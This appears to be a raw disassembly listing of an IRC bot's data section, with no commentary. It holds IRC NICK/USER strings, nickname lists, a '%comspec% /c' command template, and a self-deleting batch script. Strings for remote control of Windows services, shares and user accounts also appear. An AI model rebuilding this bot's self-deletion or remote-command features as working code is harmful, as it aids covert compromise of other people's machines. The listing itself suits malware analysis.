aWantedlove ; "WANTEDLOVE" off_437EF8 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438788 dd offset aC ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset dword_4387A0 dd offset dword_43879C dd offset dword_438798 dd offset aI ; "i" dd offset dword_42B500 ; --------------------------------------------------------------------------- dec eax mov bl, 42h add [eax-39h], ah inc edx add [edi+eax*4-5337FFBDh], dl inc edx add [ebx+esi*4+42h], cl add ah, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, dh retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_4387A8 dd offset dword_43878C dd offset dword_4387A4 dd offset dword_438790 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438790 dd offset dword_43879C dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438148 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438758 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438788 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43873C dd offset dword_43D128 dd offset off_438108 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C8 dd offset dword_4380C4 dd offset dword_4380BC dd offset dword_4380B0 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438094 dd offset dword_438090 dword_438090 dd 7536h ; DATA XREF: ___:0043808Co dword_438094 dd 7535h ; DATA XREF: ___:00438088o dword_438098 dd 7C75347Ch, 0 ; DATA XREF: ___:00438084o dword_4380A0 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438080o dword_4380A8 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043807Co dword_4380B0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438078o dword_4380BC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438074o dword_4380C4 dd 6C6F6Ch ; DATA XREF: ___:00438070o dword_4380C8 dd 746F74h ; DATA XREF: ___:0043806Co aMofo db 'mofo',0 ; DATA XREF: ___:00438068o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438064o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438060o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:0043805Co align 4 aAha db 'aha',0 ; DATA XREF: ___:00438058o aShit db 'shit',0 ; DATA XREF: ___:00438054o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438050o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043804Co align 4 off_438108 dd offset word_594F42 ; DATA XREF: ___:00438048o aFree db 'Free',0 ; DATA XREF: ___:00438034o align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438030o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438024o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438018o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438014o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438010o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FF4o aBbl db '|bbl',0 ; DATA XREF: ___:00437FE8o align 4 off_438148 dd offset loc_425242 ; DATA XREF: ___:00437FE4o aMuckc db 'muckc',0 ; DATA XREF: ___:00437FD0o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00437FCCo align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00437FC8o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00437FC4o align 4 aUi db 'ui',0 ; DATA XREF: ___:00437FC0o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00437FBCo aRt db 'rt',0 ; DATA XREF: ___:00437FB8o align 4 aGf db 'gf',0 ; DATA XREF: ___:00437FB4o align 4 aTy db 'ty',0 ; DATA XREF: ___:00437FB0o align 10h aRg db 'rg',0 ; DATA XREF: ___:00437FACo align 4 aHappy db 'happy',0 ; DATA XREF: ___:00437FA8o align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F88o align 10h aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F40o align 4 aQ8 db 'Q8',0 ; DATA XREF: ___:00437F3Co align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F38o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F34o aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F30o align 4 aGens db '{gens|',0 ; DATA XREF: ___:00437F2Co align 10h aSex db '{sex}',0 ; DATA XREF: ___:00437F28o align 4 aHub db '{hub}',0 ; DATA XREF: ___:00437F24o align 10h aLuck db '|luck|',0 ; DATA XREF: ___:00437F20o align 4 aSuck db '|suck|',0 ; DATA XREF: ___:00437F1Co align 10h aTot db '-|tot|',0 ; DATA XREF: ___:00437F18o align 4 aWoh db '|woh|',0 ; DATA XREF: ___:00437F14o align 10h aTambe db '|tambe|',0 ; DATA XREF: ___:00437F10o aLag db 'lag',0 ; DATA XREF: ___:00437F0Co aBad db 'bad',0 ; DATA XREF: ___:00437F08o aTree db 'tree',0 ; DATA XREF: ___:00437F04o align 4 aZex db 'zex',0 ; DATA XREF: ___:00437F00o aLez db 'lez',0 ; DATA XREF: ___:00437EFCo aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF8o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EF4o align 10h aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EF0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EECo align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE8o align 10h aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EE4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437EE0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437EDCo align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED8o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ED4o align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437ED0o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437ECCo align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC8o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EC4o align 10h aUla db 'ula',0 ; DATA XREF: ___:00437EC0o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EBCo aAkden db 'akden',0 ; DATA XREF: ___:00437EB8o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EB4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EB0o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EACo aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA8o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437EA4o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437EA0o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E9Co align 10h aAnkm db 'ankM',0 ; DATA XREF: ___:00437E98o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00437E94o align 10h aDevre db 'devre',0 ; DATA XREF: ___:00437E90o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E8Co align 10h aBirsen db 'birsen',0 ; DATA XREF: ___:00437E88o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00437E84o align 10h aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E80o align 4 off_43832C dd offset byte_4B5245 ; DATA XREF: ___:00437E7Co aSevda db 'sevda',0 ; DATA XREF: ___:00437E78o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:00437E74o align 10h aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E70o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E6Co align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E68o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E64o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00437E60o align 10h aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E5Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E58o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E54o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E50o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:00437E4Co align 10h aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E48o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:00437E44o align 10h aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E40o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E3Co align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E38o align 10h aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E34o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E30o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E2Co align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E28o aHoly db 'holy',0 ; DATA XREF: ___:00437E24o align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E20o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E1Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E18o align 10h aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E14o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E10o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E0Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E08o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E04o align 10h aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E00o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DFCo aArda db 'arda',0 ; DATA XREF: ___:00437DF8o align 10h aDevran db 'devran',0 ; DATA XREF: ___:00437DF4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DF0o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DECo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DE4o align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DE0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DDCo align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD8o align 10h off_4384C0 dd offset byte_457441 ; DATA XREF: ___:00437DD4o dword_4384C4 dd 414C5941h, 2Dh ; DATA XREF: ___:00437DD0o aAlbina db 'albina',0 ; DATA XREF: ___:00437DCCo align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC8o align 10h aZack db 'ZACK',0 ; DATA XREF: ___:00437DC4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DC0o align 10h aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DBCo align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB8o align 10h aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DB4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DB0o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00437DACo align 10h aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA8o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DA4o aAslii db 'aslii',0 ; DATA XREF: ___:00437DA0o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D9Co aHaticem db 'haticem',0 ; DATA XREF: ___:00437D98o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D94o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D90o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D8Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D88o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D84o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D80o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D7Co align 10h aMelekk db 'melekk',0 ; DATA XREF: ___:00437D78o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:00437D74o align 10h aMary db 'MARY',0 ; DATA XREF: ___:00437D70o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D6Co aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D68o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D64o align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D60o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D5Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D58o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D54o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D50o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D4Co align 10h aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D48o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D44o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:00437D40o aReshma db 'reshma',0 ; DATA XREF: ___:00437D3Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D38o align 10h aGirl db 'GirL',0 ; DATA XREF: ___:00437D34o align 4 aImra db 'imra',0 ; DATA XREF: ___:00437D30o align 10h aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D2Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D28o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00437D24o align 10h aManee db 'manee',0 ; DATA XREF: ___:00437D20o align 4 aTroller db 'troller',0 ; DATA XREF: ___:00437D1Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D18o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D14o align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D10o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D0Co align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D08o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437D04o align 4 aCme db 'cme',0 ; DATA XREF: ___:00437D00o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CFCo align 10h aTalika db 'talika',0 ; DATA XREF: ___:00437CF8o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00437CF4o align 10h aKen db 'ken',0 ; DATA XREF: ___:00437CF0o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CECo align 10h aKoko db 'koko',0 ; DATA XREF: ___:00437CE8o align 4 aMale db 'male',0 ; DATA XREF: ___:00437CE4o align 10h aSwin db 'swin',0 ; DATA XREF: ___:00437CE0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CDCo aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD8o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00437CD4o align 10h aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CD0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CCCo aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CC4o align 4 aM_0: ; DATA XREF: ___:00437CC0o ; ___:0043800Co unicode 0, <M>,0 word_43872C dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CBCo align 10h dword_438730 dd 42h ; DATA XREF: ___:00437CB8o dword_438734 dd 56h ; DATA XREF: ___:00437CB4o dword_438738 dd 43h ; DATA XREF: ___:00437CB0o dword_43873C dd 58h ; DATA XREF: ___:00437CACo ; ___:00438040o dword_438740 dd 5Ah ; DATA XREF: ___:00437CA8o dword_438744 dd 4Ch ; DATA XREF: ___:00437CA4o dword_438748 dd 4Bh ; DATA XREF: ___:00437CA0o dword_43874C dd 4Ah ; DATA XREF: ___:00437C9Co dword_438750 dd 48h ; DATA XREF: ___:00437C98o dword_438754 dd 47h ; DATA XREF: ___:00437C94o dword_438758 dd 46h ; DATA XREF: ___:00437C90o ; ___:00438008o dword_43875C dd 44h ; DATA XREF: ___:00437C8Co dword_438760 dd 53h ; DATA XREF: ___:00437C88o dword_438764 dd 50h ; DATA XREF: ___:00437C80o dword_438768 dd 4Fh ; DATA XREF: ___:00437C7Co dword_43876C dd 55h ; DATA XREF: ___:00437C74o word_438770 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C70o align 4 dword_438774 dd 54h ; DATA XREF: ___:00437C6Co dword_438778 dd 52h ; DATA XREF: ___:00437C68o dword_43877C dd 45h ; DATA XREF: ___:00437C64o dword_438780 dd 57h ; DATA XREF: ___:00437C60o dword_438784 dd 51h ; DATA XREF: ___:00437C5Co dword_438788 dd 62h ; DATA XREF: ___:00437C50o ; ___:00437F44o ... dword_43878C dd 78h ; DATA XREF: ___:00437C44o ; ___:00437F9Co dword_438790 dd 7Ah ; DATA XREF: ___:00437C40o ; ___:00437FA4o ... dword_438794 dd 6Ch ; DATA XREF: ___:00437C3Co dword_438798 dd 68h ; DATA XREF: ___:00437C30o ; ___:00437F5Co dword_43879C dd 67h ; DATA XREF: ___:00437C2Co ; ___:00437F58o ... dword_4387A0 dd 66h ; DATA XREF: ___:00437C28o ; ___:00437F54o dword_4387A4 dd 79h ; DATA XREF: ___:00437FA0o dword_4387A8 dd 77h ; DATA XREF: ___:00437BFCo ; ___:00437F98o dword_4387AC dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B8 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387BC dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_438934 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438964 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_43898C dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A8 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389AC dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389B0 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A1Ch, 438A14h, 2, 438A08h, 4389FCh, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389DCo aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D8o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389D0o aStart_0 db 'Start',0 ; DATA XREF: ___:004389CCo align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389C4o align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389C0o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B8o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389B4o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389ACo align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A8o unk_438A70 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A94 db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_438AC0 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_439014 db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439038 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_439054 db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_4390A0 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 10h unk_439100 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439128 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439158 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439178 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 